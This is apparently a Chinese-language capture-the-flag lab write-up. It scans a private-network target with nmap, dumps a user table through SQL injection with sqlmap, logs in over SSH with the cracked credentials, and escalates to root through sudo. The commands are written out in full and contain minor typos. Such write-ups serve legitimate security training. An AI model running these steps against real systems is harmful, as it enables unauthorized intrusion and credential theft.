1. 信息收集
主机发现
nmap -sn 192.168.197.0/24,目标IP地址为192.168.197.159
端口扫描
nmap --min-rate 10000 -p- 192.168.197.159 以最低速率10000对目标主机全端口进行扫描
可以看到目标系统开放了三个端口 22,25,80
详细信息扫描
nmap -sT -sV -O -p22,25,80 192.168.197.159
指定对目标进行TCP扫描,同时扫描服务的版本号以及操作系统类型
2. 攻击面分析
SQL注入
访问 web 服务,Blog 页面采用 id 传参,单引号测试存在 sql 注入
sqlmap自动化注入
sqlmap -u "http://192.168.197.159/index.html?page=blog&title=Blog&id=5'" --current-db
爆出当前数据库 ehks
sqlmap -u "http://192.168.197.159/index.html?page=blog&title=Blog&id=5'" --tables -D ehks
存在user和blog两张表
sqlmap -u "http://192.168.197.159/index.html?page=blog&title=Blog&id=5'" --columns -T user -D ehks
爆出user表的列名 user_id,user_name,user_pass
sqlmap -u "http://192.168.197.159/index.html?page=blog&title=Blog&id=5'" --dump -C "user_id,user_nmae,user_pass"-T user -D ehks
读取数据,得到了一些用户名及对应的密码,并且 sqlmap 对 pass 的 md5 值自动做了破解
SSH登录
使用爆出的用户进行SSH登录
提示不能和目标主机通信,没有匹配的 key exchange
因为不同的 SSH 应用版本,协议及配置多少会有一些差别
指定key exchange 为报错信息提供的值 -oKexAlgorithms=iffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
尝试登录,再次报错,提示没有匹配的 host key type
指定host key为报错信息提供的值 -oHostKeyAlgorithms=ssh-rsa,ssh-dss
成功登录,获得初始权限
3. 提权
sudo -l 查看当前用户具有哪些系统权限
显示 dsevens 拥有ALL 全部系统权限
sudo /bin/bash 开启一个新的 bash 会话
成功提权至 root 用户
4. 总结
通过端口扫描发现22,25,80三个端口,22端口是ssh,一般把它的攻击向量排得靠后。80端口是优先级最高的,最可能暴露出大量攻击面的。
浏览web,发现blog页面存在sql注入,使用sqlmap自动化sql注入工具,得到了用户名及对应密码。
使用sql注入得到的用户名密码尝试ssh登录,成功进入系统,sudo -l查看用户具有全部系统权限,/bin/bash启动一个新的进程直接提取至root用户